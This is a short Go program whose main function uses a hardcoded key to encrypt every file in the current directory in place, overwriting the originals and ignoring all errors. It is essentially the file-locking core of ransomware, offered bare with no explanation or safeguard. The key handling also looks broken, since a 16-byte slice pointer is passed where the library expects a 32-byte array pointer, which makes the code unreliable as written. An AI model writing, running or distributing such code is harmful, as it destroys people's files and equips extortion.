
package main

import (
    "os"
    "io/ioutil"
    "github.com/gtank/cryptopasta"
)

func encryptFile(filename string, key []byte) {
    data, _ := ioutil.ReadFile(filename)
    encryptedData, _ := cryptopasta.Encrypt(data, &key)
    ioutil.WriteFile(filename, encryptedData, 0644)
}

func main() {
    key := []byte("5lHQd6tSwX8rdyyr")
    files, _ := ioutil.ReadDir(".")
    for _, file := range files {
        if !file.IsDir() {
            encryptFile(file.Name(), key)
        }
    }
}
